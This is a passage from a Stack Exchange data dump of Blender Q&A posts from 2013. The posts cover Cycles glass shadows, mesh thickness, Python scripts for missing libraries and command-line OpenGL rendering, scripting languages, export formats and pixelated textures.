LastActivityDate="2013-08-25T13:51:21.003" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="2565" PostTypeId="2" ParentId="2558" CreationDate="2013-08-25T14:38:49.183" Score="55" Body="&lt;p&gt;This may be caused by Cycles's rendering of caustics.&lt;/p&gt;&#xA;&lt;p&gt;From &lt;a href=&quot;https://docs.blender.org/manual/en/dev/render/cycles/optimizations/reducing_noise.html#render-cycles-reducing-noise-glass-and-transp-shadows&quot; rel=&quot;nofollow noreferrer&quot;&gt;the wiki, &lt;em&gt;Glass and Transparent Shadows&lt;/em&gt;&lt;/a&gt;:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Glass and Transparent Shadows&#xA;With caustics disabled, glass will miss shadows, and with filter glossy they might be too soft. &lt;strong&gt;We can make a glass shader that will use a Glass BSDF when viewed directly, and a Transparent BSDF when viewed indirectly.&lt;/strong&gt; The Transparent BSDF can be used for transparent shadows to find light sources straight through surfaces, and will give properly-colored shadows, but without the caustics. The Light Path node is used to determine when to use which of the two shaders.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/BseqZ.png&quot; alt=&quot;Node setup&quot; /&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;To clarify the node setup a bit:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The &lt;em&gt;&lt;a href=&quot;https://docs.blender.org/manual/en/latest/render/shader_nodes/input/light_path.html#light-path-node&quot; rel=&quot;nofollow noreferrer&quot;&gt;Light Path&lt;/a&gt;&lt;/em&gt; node determines the type of the current ray being traced. For each socket, it outputs a &lt;code&gt;0&lt;/code&gt; if it is not that type or a &lt;code&gt;1&lt;/code&gt; if it is. Thus, getting the maximum of those two values is equivalent to a boolean inclusive-or operation. The &lt;em&gt;Maximum&lt;/em&gt; node will therefore output a &lt;code&gt;1&lt;/code&gt; if the ray &lt;em&gt;Is Shadow Ray&lt;/em&gt; or if it &lt;em&gt;Is Reflection Ray&lt;/em&gt;; this will cause the transparent BSDF to be used (as it is the bottom input of the Mix Shader). Otherwise, it will output a &lt;code&gt;0&lt;/code&gt;, and the top shader (the glass shader) will be used.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;The following diagram demonstrates some of the various ray types:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/UQPEg.png&quot; alt=&quot;Ray types&quot; /&gt;&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The node setup used is part of a &lt;em&gt;node group&lt;/em&gt; called &amp;quot;TrickyGlass,&amp;quot; which you can see at the top. A node group is a reusable chunk of nodes that can be parameterized just like any other nodes – in this case, with the three inputs on the left – and output, in this case, a shader. Thus, you can use this setup in a node tree like any other shader node.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Here's an image using just a regular glass shader:&lt;br /&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/3f2i1.png&quot; alt=&quot;Too much shadow, before fix&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;And after switching to the TrickyGlass node group:&lt;br /&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/edd4U.png&quot; alt=&quot;Just right, after fix&quot; /&gt;&lt;/p&gt;&#xA;" OwnerUserId="372" LastEditorUserId="15924" LastEditDate="2020-10-21T03:53:13.900" LastActivityDate="2020-10-21T03:53:13.900" CommentCount="10" ContentLicense="CC BY-SA 4.0" />
  <row Id="2566" PostTypeId="1" AcceptedAnswerId="2567" CreationDate="2013-08-25T09:53:04.353" Score="5" ViewCount="6555" Body="&lt;p&gt;I'm using blender to make a basic model of my house and I want to hollow out the inside of the house so that the walls are slightly thicker and there are normals facing both ways, I'm not really sure how to can achieve this. I think it's called shelling?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/EXypy.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, has anyone got any tips on working on the interior of buildings, because I find it nearly impossible to do so :/&lt;/p&gt;&#xA;" OwnerUserId="98435" OwnerDisplayName="Shaun Wild" LastEditorUserId="12" LastEditDate="2013-08-25T16:37:46.787" LastActivityDate="2018-04-10T23:17:30.357" Title="Adding thickness to a mesh in Blender" Tags="&lt;modeling&gt;&lt;workflow&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2567" PostTypeId="2" ParentId="2566" CreationDate="2013-08-25T10:09:07.833" Score="9" Body="&lt;p&gt;The &lt;a href=&quot;https://docs.blender.org/manual/en/dev/modeling/modifiers/generate/solidify.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;Solidify&lt;/em&gt; modifier could be useful here. Go and check it out&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to do buildings I would highly recommend that you &quot;build&quot; the house, instead of trying to carve it out of a block.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It would be a lot easier to build everything in pieces. Not everything has to be done in one piece in Blender. And you can always merge the Geometry later.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Build walls, cut windows into them. Add the window frames. Etc. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Build the house, dont try and carve it out.&lt;/p&gt;&#xA;" OwnerUserId="3615" OwnerDisplayName="Oliver Schöning" LastEditorUserId="19307" LastEditDate="2018-04-10T23:17:30.357" LastActivityDate="2018-04-10T23:17:30.357" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="2569" PostTypeId="5" CreationDate="2013-08-25T19:55:00.310" Score="0" Body="&lt;p&gt;There are many ways to select elements, and it depends on what Mesh Select Mode you are in as to what selection tools are available.&lt;/p&gt;&#xA;&lt;p&gt;Selection tools at the &lt;a href=&quot;https://docs.blender.org/manual/en/2.79/modeling/meshes/selecting/introduction.html#introduction&quot; rel=&quot;nofollow noreferrer&quot;&gt;Blender Manual&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2217" LastEditorUserId="15924" LastEditDate="2020-10-20T23:50:39.517" LastActivityDate="2020-10-20T23:50:39.517" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="2570" PostTypeId="4" CreationDate="2013-08-25T19:55:00.310" Score="0" Body="Questions about Blender's tools for managing selections. Selections are used to define what part of an object/path/curve/etc. is being manipulated or highlighted." OwnerUserId="599" LastEditorUserId="12" LastEditDate="2013-08-25T21:56:54.080" LastActivityDate="2013-08-25T21:56:54.080" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2571" PostTypeId="2" ParentId="316" CreationDate="2013-08-25T19:55:45.280" Score="9" Body="&lt;p&gt;Another option is to use a raycast sensor in front of the bullet object is probably the most performant and reliable solution. The ray length should be longer than the distance the bullet travels per physics frame (which should be 60hz, assuming you are not using physics substep).&lt;/p&gt;&#xA;" OwnerUserId="41" LastActivityDate="2013-08-25T19:55:45.280" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2572" PostTypeId="1" AcceptedAnswerId="2574" CreationDate="2013-08-25T23:48:06.287" Score="4" ViewCount="752" Body="&lt;p&gt;Is there any simple way to get &lt;strong&gt;all missing &lt;code&gt;.blend&lt;/code&gt; libraries&lt;/strong&gt;, in a python &lt;code&gt;list&lt;/code&gt;, &lt;code&gt;set&lt;/code&gt;, &lt;code&gt;tuple&lt;/code&gt; or &lt;code&gt;dictionary&lt;/code&gt;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The operator &lt;code&gt;bpy.ops.file.report_missing_files()&lt;/code&gt; only prints this list in the console. If I put it in a variable, the only thing I have is a set: &lt;code&gt;{'FINISHED'}&lt;/code&gt; !! To illustrate:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;missing_libs = bpy.ops.file.report_missing_files()&#xA;# missing libraries are printed in the console at this point, one line a file&#xA;print(missing_libs)&#xA;# prints {'FINISHED'} in the console&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Ideally, I want to be able to do, for example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;nb_missing_libs = len(missing_libs) # get the number of missing libraries&#xA;for mlib in missing_libs:&#xA;    if &quot;.blend&quot; in mlib:&#xA;        # Do something with mlib&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is there a fast and easy way ?&lt;/p&gt;&#xA;" OwnerUserId="527" LastActivityDate="2013-08-26T00:14:24.397" Title="how to report missing files in a list, usable in python script?" Tags="&lt;scripting&gt;&lt;python&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2573" PostTypeId="1" AcceptedAnswerId="2575" CreationDate="2013-08-25T23:54:32.200" Score="11" ViewCount="3175" Body="&lt;p&gt;Is it possible to use the openGL &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Vitals/Quick_render&quot;&gt;&lt;em&gt;quick render&lt;/em&gt;&lt;/a&gt; for rendering from the command line?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;e.g. something like &lt;code&gt;blender -b &amp;lt;file&amp;gt; -E opengl -f 1&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2018-08-31T03:42:23.480" Title="Render with openGL from the command line?" Tags="&lt;rendering&gt;&lt;command-line&gt;&lt;opengl&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="2574" PostTypeId="2" ParentId="2572" CreationDate="2013-08-26T00:14:24.397" Score="3" Body="&lt;p&gt;You could try a variation of the following code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;import os&#xA;&#xA;def list_missing_blend_libs():&#xA;    return [bpy.path.abspath(lib.filepath) for lib in bpy.data.libraries&#xA;            if not os.path.exists(bpy.path.abspath(lib.filepath))]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Using &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_68_2/bpy.path.html#bpy.path.abspath&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;bpy.path.abspath&lt;/code&gt;&lt;/a&gt;, it only lists absolute path of missing libraries in &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_68_2/bpy.types.BlendData.html#bpy.types.BlendData.libraries&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;bpy.data.libraries&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="185" LastActivityDate="2013-08-26T00:14:24.397" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2575" PostTypeId="2" ParentId="2573" CreationDate="2013-08-26T01:02:28.957" Score="15" Body="&lt;p&gt;It is possible, in a round-about way. Operator &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_68_2/bpy.ops.render.html#bpy.ops.render.opengl&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;render.opengl()&lt;/code&gt;&lt;/a&gt; needs OpenGL display context, i.e. Blender's window, to be opened. Hence, we can't do UI-less rendering using &lt;code&gt;-b&lt;/code&gt; command switch. We'll need to do it through a script:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;import sys                      # read argument from sys.argv&#xA;from bpy.app.handlers import persistent&#xA;&#xA;@persistent&#xA;def do_render_opengl(dummy):&#xA;    bpy.ops.render.opengl(animation=True, view_context=False)&#xA;    bpy.ops.wm.quit_blender()&#xA;&#xA;bpy.app.handlers.load_post.append(do_render_opengl)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It is to be executed like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;blender -P render_opengl.py &amp;lt;file&amp;gt;.blend&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Executing &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_68_2/bpy.ops.wm.html#bpy.ops.wm.quit_blender&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;wm.quit_blender()&lt;/code&gt;&lt;/a&gt; is necessary, because otherwise Blender doesn't automatically close when render finishes. We also wrap the rendering code in &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_68_2/bpy.app.handlers.html#bpy.app.handlers.load_post&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;load_post&lt;/code&gt;&lt;/a&gt; handler, to make sure the right context is loaded up before rendering. This is especially important if the scene's name is non-default. Otherwise Blender creates new scene &lt;code&gt;Scene&lt;/code&gt; and renders it, instead of the scene we want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The script above is to render preview animation. To render preview image and specify frame range, modify it to read argument from &lt;code&gt;sys.argv&lt;/code&gt; (I've written code that does it &lt;a href=&quot;https://blender.stackexchange.com/a/1104/185&quot;&gt;before&lt;/a&gt;) and assigning appropriate values to &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_68_2/bpy.types.Scene.html#bpy.types.Scene.frame_current&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;bpy.context.scene.frame_*&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="185" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:38.987" LastActivityDate="2013-08-26T01:02:28.957" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="2576" PostTypeId="1" CreationDate="2013-08-26T05:05:12.053" Score="4" ViewCount="1066" Body="&lt;p&gt;I have a file that has many different render layers. I'm rendering at quite a high resolution, so the combined information I want to save is quite a lot. Blender gives an error when trying to save a OpenEXR Multilayer file. I tried saving a test file, and I was able to save one, so the only difference I can think of between when it works and when it comes up with an error is that that I am trying to save is too large. &#xA;If there is a max size, or a maximum number of render layers, what is it?&#xA;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="582" LastEditorUserId="599" LastEditDate="2013-09-13T07:34:17.347" LastActivityDate="2014-12-27T19:49:18.337" Title="Is there a max size for saving openEXR multilayer files?" Tags="&lt;file-format&gt;" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="2577" PostTypeId="1" AcceptedAnswerId="2579" CreationDate="2013-08-26T05:05:57.017" Score="7" ViewCount="1972" Body="&lt;p&gt;How would I make this material in cycles?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/4hBSK.png&quot; alt=&quot;Material&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="459" LastEditorUserId="290" LastEditDate="2013-08-26T09:00:00.777" LastActivityDate="2013-08-26T09:00:00.777" Title="Microscopic Material in Cycles" Tags="&lt;cycles-render-engine&gt;&lt;materials&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="2578" PostTypeId="1" CreationDate="2013-08-26T05:13:28.400" Score="3" ViewCount="1995" Body="&lt;p&gt;How would I create the following in Cycles:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Holographic Material - &lt;a href=&quot;http://www.cinema4dtutorial.net/?p=1804&quot; rel=&quot;nofollow noreferrer&quot;&gt;Video&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In Blender there is no Mograph Alternative so not sure how to build the spatial animating sphere effect. Hopefully no volumetric or missing special shader nodes will be needed. The flashing effect is done by animating the displacement. How would I approach that in cycles?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I included plenty of sample so you get an idea of what I am going for.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;P.S So gave it a thought. Since some of the materials seem similar to the other question I asked. Could particles be used instead of MoGraph and hide the base mesh afterwards to make the holographic objects? What about the atom arrays with connected lines?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank You&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/fXcv1.png&quot; alt=&quot;I1&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/iuM3g.png&quot; alt=&quot;I2&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/f6f9l.png&quot; alt=&quot;I3&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/2im8z.png&quot; alt=&quot;I4&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="459" LastEditorUserId="459" LastEditDate="2013-08-26T09:53:47.550" LastActivityDate="2013-08-29T10:12:52.990" Title="Holographic Material - Cycles" Tags="&lt;cycles-render-engine&gt;" AnswerCount="0" CommentCount="5" FavoriteCount="2" ClosedDate="2013-08-29T15:35:29.140" ContentLicense="CC BY-SA 3.0" />
  <row Id="2579" PostTypeId="2" ParentId="2577" CreationDate="2013-08-26T06:11:49.193" Score="13" Body="&lt;p&gt;The foundation of a shader like this is the Fresnel function, which you can access with either a &lt;code&gt;Fresnel&lt;/code&gt; Node or the &lt;code&gt;Layer Weight&lt;/code&gt; node. From the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Render/Cycles/Nodes/More#Fresnel&quot; rel=&quot;nofollow noreferrer&quot;&gt;wiki&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Dielectric fresnel, computing how much light is reflected off a layer, where the rest will be refracted through the layer. The resulting weight can be used for layering shaders with the Mix Shader node. It is dependent on the angle between the surface normal and the viewing direction.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;In this case, the Layer Weight's Facing output might be better since it gives a more linear falloff whereas Fresnel is more exponential.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/VuJZx.png&quot; alt=&quot;Noodle&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here Fresnel is passed through a Color Ramp to change the colours to a range of blues and purples before connecting to the Color of an Emission shader. A procedural Noise texture is used for the bump map, and some transparency is mixed as well. The transparency is mixed more where the surface is facing the camera using the same Facing output.&lt;/p&gt;&#xA;" OwnerUserId="9" LastActivityDate="2013-08-26T06:11:49.193" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="2580" PostTypeId="1" CreationDate="2013-08-26T12:45:32.933" Score="19" ViewCount="11760" Body="&lt;p&gt;What version of Python does Blender use and are other languages available? Also, does Python work the same in Blender as when you write console applications or when working with Pygame or are there any differences? If so, what are the main differences?&lt;/p&gt;&#xA;" OwnerUserId="1172" LastEditorUserId="55" LastEditDate="2016-05-13T08:25:41.437" LastActivityDate="2018-03-11T20:54:59.500" Title="What programming languages can I use in Blender?" Tags="&lt;python&gt;&lt;scripting&gt;" AnswerCount="4" CommentCount="3" FavoriteCount="5" CommunityOwnedDate="2014-01-11T02:22:20.327" ContentLicense="CC BY-SA 3.0" />
  <row Id="2581" PostTypeId="2" ParentId="2580" CreationDate="2013-08-26T13:19:06.453" Score="11" Body="&lt;p&gt;Since Blender 2.5 only Python 3 is supported. From &lt;a href=&quot;http://www.blender.org/development/&quot; rel=&quot;noreferrer&quot;&gt;blender.org&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The Blender 2.5x versions feature a completely new Python API based on&#xA;  Python version 3.2, and is integrated deeply, used for generating&#xA;  Blender's GUI layouts, for import and export of external formats, and&#xA;  with access to all user-accessible data and functionality.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;What changes across applications is the &lt;a href=&quot;http://en.wikipedia.org/wiki/Application_programming_interface&quot; rel=&quot;noreferrer&quot;&gt;API - Application programming interface&lt;/a&gt;. So if you're used to pygame and console API, now you need to learn Blender API. So yes, the idea is the same, but the API is different.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's a &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_69_release/info_quickstart.html&quot; rel=&quot;noreferrer&quot;&gt;Quickstart Introduction&lt;/a&gt;.&lt;br&gt;&#xA;And here's the &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_69_release/&quot; rel=&quot;noreferrer&quot;&gt;full API&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1148" LastEditorUserId="55" LastEditDate="2014-01-11T02:15:20.500" LastActivityDate="2014-01-11T02:15:20.500" CommentCount="0" CommunityOwnedDate="2014-01-11T02:22:20.327" ContentLicense="CC BY-SA 3.0" />
  <row Id="2582" PostTypeId="2" ParentId="2580" CreationDate="2013-08-26T13:19:33.740" Score="4" Body="&lt;p&gt;Blender 2.5 and above use python 3 but latest versions of Blender 2.6x utilize python 3.3 as the main scripting language. See the &lt;a href=&quot;http://www.blender.org/documentation/250PythonDoc/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Blender API documentation&lt;/a&gt;. &lt;a href=&quot;http://www.blender.org/education-help/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Blender Education &amp;amp; Help&lt;/a&gt; has more details if you are new to Blender.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Blender comes with &lt;a href=&quot;https://en.wikipedia.org/wiki/CPython&quot; rel=&quot;nofollow noreferrer&quot;&gt;CPython&lt;/a&gt; bundled, it is mostly the same default package that you might otherwise get from the python.org downloads, &lt;a href=&quot;https://blender.stackexchange.com/questions/1116/which-modules-are-guaranteed-to-be-present-in-blenders-python&quot;&gt;minus a few modules&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Blender API is significantly different to pygame, but if you are comfortable with Python programming that won't be an obstacle.&lt;/p&gt;&#xA;" OwnerUserId="47" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:38.780" LastActivityDate="2013-08-26T13:52:34.347" CommentCount="0" CommunityOwnedDate="2014-01-11T02:22:20.327" ContentLicense="CC BY-SA 3.0" />
  <row Id="2583" PostTypeId="2" ParentId="1902" CreationDate="2013-08-26T13:31:14.087" Score="3" Body="&lt;p&gt;When exporting, different formats have different space formats. Usually it's just a case of the axis getting mixed up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's some help &lt;a href=&quot;http://forum.unity3d.com/threads/97119-Z-and-Y-Axis&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;, but generally I'd suggest skipping exports if possible.&lt;/p&gt;&#xA;" OwnerUserId="1148" LastActivityDate="2013-08-26T13:31:14.087" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2584" PostTypeId="2" ParentId="1817" CreationDate="2013-08-26T13:51:43.413" Score="3" Body="&lt;p&gt;OSL materials transfer best, as James pointed out.&lt;br&gt;&#xA;&lt;a href=&quot;http://blenderartists.org/forum/showthread.php?282425-Collada-Improvements-in-2-66-We-need-more-testing&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;As far as I know&lt;/strong&gt;&lt;/a&gt;, Cycles cannot currently export it's own materials. Blender Internal can sure export textured things though.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyway if your scene is already built up with Cycles your best chance for going to 3Ds Max is first .fbx and then .dae.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;About file formats:&lt;/strong&gt;&lt;br&gt;&#xA;.3ds is old.&lt;br&gt;&#xA;.obj is old too, but has worked well for me, especially concerning mesh-only models.&lt;br&gt;&#xA;.dae is great with textures, optimized for gaming.&lt;br&gt;&#xA;.fbx is great with textures, optimised for autodesk :)&lt;br&gt;&#xA;&lt;em&gt;dae and fbx should probably support shaders, but as stated before, Cycles doesn't support exporting them yet anyway.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://stackoverflow.com/questions/573025/which-3d-model-format-should-i-be-using&quot;&gt;more on .dae&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1148" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:20.630" LastActivityDate="2013-08-26T13:51:43.413" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2585" PostTypeId="2" ParentId="2580" CreationDate="2013-08-26T13:55:20.673" Score="6" Body="&lt;p&gt;Besides Python 3.x Blender supports:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://en.wikipedia.org/wiki/OpenGL_Shading_Language&quot; rel=&quot;nofollow noreferrer&quot;&gt;GLSL OpenGL Shading Language&lt;/a&gt; which also supported in the game engine for materials or postprocessing&lt;br&gt;&lt;em&gt;(compiled at runtime by the OpenGL driver)&lt;/em&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;and &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://blender.stackexchange.com/questions/2238/what-does-open-shading-language-osl-mean/2239#2239&quot;&gt;OSL - Open Shading Language&lt;/a&gt; for Cycles Shaders &lt;br&gt;&lt;em&gt;(compiled at runtime by Blender's bundled OSL library)&lt;/em&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="29" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:42.870" LastActivityDate="2016-01-22T07:15:13.307" CommentCount="2" CommunityOwnedDate="2014-01-11T02:22:20.327" ContentLicense="CC BY-SA 3.0" />
  <row Id="2586" PostTypeId="1" AcceptedAnswerId="2589" CreationDate="2013-08-26T14:54:51.040" Score="22" ViewCount="23973" Body="&lt;p&gt;I have a problem. I am going to make a minecraft animation in blender. But when I put a minecraft texture on a 3d cube that is 16x16x16 it is very low resolution is there a way to get the texture in a better resolution or is there a way to make blender make the texture better?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope you have an answer.&#xA;Thanks in advance&lt;/p&gt;&#xA;" OwnerUserId="1173" LastEditorUserId="1958" LastEditDate="2020-07-30T00:26:20.770" LastActivityDate="2020-07-30T00:26:20.770" Title="How can I keep low resolution textures pixelated?" Tags="&lt;texturing&gt;&lt;uv&gt;&lt;pixel-art&gt;" AnswerCount="3" CommentCount="2" FavoriteCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="2587" PostTypeId="1" AcceptedAnswerId="2594" CreationDate="2013-08-26T16:24:05.950" Score="4" ViewCount="7548" Body="&lt;p&gt;I have a set of VRML 1.0 files that have been exported from SolidWorks. I need to import these into Blender, work on them, and then export them back into new VRML 1.0 files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My predecessor had been working with Blender 2.49b, which apparently had a &lt;em&gt;VRML 1.0&lt;/em&gt; option under the &lt;em&gt;File&lt;/em&gt; &amp;rarr; &lt;em&gt;Import&lt;/em&gt; menu. I would like to use the current version of Blender, but it does not seem to have this option; it seems to only support VRML 2.0 instead.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way to enable VRML 1.0 support in the current version of Blender? Is the previously built-in functionality now available as a plugin?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If not, I would appreciate pointers to any activity related to the removal of VRML 1.0 support from Blender (such as discussions or commits). I've looked through the &#xA;release notes for recent versions, but they didn't tell me when this support was dropped, so I'm not sure where to start looking. If necessary and practical I'd consider doing some work on the VRML 1.0 import/export code to get it working.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;I had been hoping that VRML 1.0 supporting was implement in Python, as the VRML 2.0 support is, so that it could be pulled into a Blender plugin. Unfortunately, it's not. I just took a look at the source for Blender 2.49b. VRML 1.0 support is implemented alongside several other &quot;exotic&quot; formats in &lt;code&gt;/source/blender/blenkernel/intern/exotic.c&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Blender exporting code is in the &lt;code&gt;write_vrml&lt;/code&gt; function, but I was initially confused looking for the importing code. It turns out it's implemented as &lt;code&gt;read_inventor&lt;/code&gt;, because VRML 1.0 is a subset of the &lt;a href=&quot;http://en.wikipedia.org/wiki/Autodesk_Inventor&quot; rel=&quot;nofollow&quot;&gt;Autodesk Inventor&lt;/a&gt; 1.0 ASCII format. That's good to know; maybe the support I'm looking for is available somewhere under the Inventor label.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's definitely not built-in to the current version of Blender, though: there are no interesting hits for &quot;VRML 1.0&quot; or &quot;inventor&quot; in the source.&lt;/p&gt;&#xA;" OwnerUserId="282" LastEditorUserId="282" LastEditDate="2013-08-26T17:23:06.803" LastActivityDate="2013-08-26T20:28:37.853" Title="Working with VRML 1.0 files in the current version of Blender" Tags="&lt;import&gt;&lt;file-format&gt;" AnswerCount="1" CommentCount="4" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2588" PostTypeId="2" ParentId="2586" CreationDate="2013-08-26T17:24:52.043" Score="5" Body="&lt;p&gt;Scale the texture to 512x512 in your favourite image editing software. Set interpolation to nearest, this is important.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is how it is done in photoshop:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/iBE91.png&quot; alt=&quot;Image size in photoshop&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Gandalfs answer is IMO the right one.&lt;/p&gt;&#xA;" OwnerUserId="395" LastEditorUserId="395" LastEditDate="2013-08-27T07:13:18.930" LastActivityDate="2013-08-27T07:13:18.930" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
